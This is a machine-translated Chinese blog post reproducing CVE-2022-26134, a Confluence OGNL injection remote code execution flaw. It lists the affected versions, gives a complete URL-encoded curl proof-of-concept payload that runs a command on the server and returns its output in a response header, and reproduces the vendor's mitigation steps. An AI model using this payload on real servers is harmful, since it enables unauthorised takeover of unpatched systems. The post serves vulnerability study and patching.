当前位置:网站首页>Atlas conflict Remote Code Execution Vulnerability (cve-2022-26134) vulnerability recurrence
Atlas conflict Remote Code Execution Vulnerability (cve-2022-26134) vulnerability recurrence
2022-06-12 17:00:00 【two8】
Catalog
disclaimer :
This article is only for study and research , It is strictly forbidden to use the content of this article to illegally operate other Internet applications , If it is used for illegal purposes , The consequences will be borne by you , All risks arising are not related to the author of this article , If you continue to read this article, you will follow this content by default .
Atlassian Confluence Remote code execution vulnerability (CVE-2022-26134) Loophole recurrence
Summary of vulnerability :
CVE-2022-26134 Is a serious unauthenticated Remote Code Execution Vulnerability , adopt OGNL Inject, utilize, and influence 1.3.0 All after version Atlassian Confluence and Data Center 2016 The server . Successful exploitation allows unauthenticated remote attackers to create new administrator accounts 、 Execute the command and eventually take over the server .
Affects version :
1.3.0 <= Confluence Server and Data Center < 7.4.17
7.13.0 <= Confluence Server and Data Center < 7.13.7
7.14.0 <= Confluence Server and Data Center < 7.14.3
7.15.0 <= Confluence Server and Data Center < 7.15.2
7.16.0 <= Confluence Server and Data Center < 7.16.4
7.17.0 <= Confluence Server and Data Center < 7.17.4
7.18.0 <= Confluence Server and Data Center < 7.18.1
Loophole recurrence :
utilize POC:
This command is executed whoami And store it in X-Cmd-Response HTTP In the head .
curl -v http://10.10.1.105:8090/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/
Use process :


Repair suggestions :
about Confluence 7.15.0 - 7.18.0
If you are running in a cluster Confluence, You need to repeat this process on each node . You can apply this mitigation without shutting down the entire cluster .
Shut down Confluence.
Add the following 1 Files downloaded to Confluence The server :
xwork-1.0.3-atlassian-10.jarDelete ( Or the following JAR Removed from the Confluence The installation directory ):
<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jarWill download xwork-1.0.3-atlassian-10.jar Copied to the
<confluence-install>/confluence/WEB-INF/lib/Check for new xwork-1.0.3-atlassian-10.jar Whether the permissions and ownership of the files match the existing files in the same directory .
Start Confluence.
about Confluence 7.0.0 - Confluence 7.14.2
- Shut down Confluence.
- Add the following 3 Files downloaded to Confluence The server :
xwork-1.0.3-atlassian-10.jar
webwork-2.1.5-atlassian-4.jar
CachedConfigurationProvider.class - Delete ( Or the following JAR Move to Confluence Outside the installation directory ):
<confluence-install>/confluence/WEB-INF/lib/xwork-1.0.3.6.jar<confluence-install>/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar
Don't leave old in the catalog JAR Copy of . - Will download xwork-1.0.3-atlassian-10.jar Copied to the /confluence/WEB-INF/lib/
- Will download webwork-2.1.5-atlassian-4.jar Copied to the /confluence/WEB-INF/lib/
- Check that the permissions and ownership of the two new files match the existing files in the same directory .
- Switch to directory /confluence/WEB-INF/classes/com/atlassian/confluence/setup
1. Create a new directory named webwork
2. take CachedConfigurationProvider.class Copied to the /confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
3. Ensure that permissions and ownership are correct :<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork<confluence-install>/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork/CachedConfigurationProvider.class - Start Confluence.
Reference resources
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
https://mp.weixin.qq.com/s/tCvvvGUO4XfV8TnOrPkTcg
https://gist.github.com/jbaines-r7/a95ab29995eba3306169e755d8b3e92c
边栏推荐
- 丁总路由器设置以及401联网
- Large scale real-time quantile calculation -- a brief history of quantitative sketches
- redis. clients. jedis. exceptions. JedisDataException: NOAUTH Authentication required
- 【湖南大学】考研初试复试资料分享
- js 使用Rsa 加密 解密
- Preprocessing command section 3
- pytorch和torchvision官方文档使用方法
- su直接切换到超级管理员模式,这样很多报错都可以避免了
- Unit sshd. service could not be found
- How to play the map with key as assertion
猜你喜欢

Leetcode 2190. The number that appears most frequently in the array immediately after the key (yes, once)

CVPR 2022 | 元学习在图像回归任务的表现

Google浏览器调试技巧

rolabelImg的安装使用

Cicada mother talks to rainbow couple: 1.3 billion goods a year, from e-commerce beginners to super goods anchor

Programmers broke the news: 3 job hopping in 4 years, and the salary has tripled! Netizen: the fist is hard

Extract the new Chinese cross modal benchmark zero from 5billion pictures and texts, and Qihoo 360's new pre training framework surpasses many SOTAS

博士申请 | 新加坡国立大学Xinchao Wang老师招收图神经网络方向博士/博后

key为断言的map是怎么玩的

Leetcode 2190. 数组中紧跟 key 之后出现最频繁的数字(可以,一次过)
随机推荐
Google浏览器调试技巧
快速入门scrapy爬虫框架
What is compound interest financial product?
Pat class a 1139 first contact
Anyone who watches "Meng Hua Lu" should try this Tiktok effect
pytorch和torchvision官方文档使用方法
价值超高的CA证书解析
怎么在公司里面做好测试工作(做好测试工作)
2080虚拟机登录命令
CAS optimistic lock
Canvas image processing (Part 1)
CVPR 2022 | meta learning performance in image regression task
薛定谔的日语学习小程序源码
使用GCC的PGO(Profile-guided Optimization)优化整个系统
Leetcode 2190. 数组中紧跟 key 之后出现最频繁的数字(可以,一次过)
RMI, JNDI, LDAP introduction +log4j vulnerability analysis
Qt开发高级进阶:初探qt + opengl
Leetcode 2194. Excel 錶中某個範圍內的單元格(可以,已解决)
Nebula's practice of intelligent risk control in akulaku: training and deployment of graph model
Three paradigms of database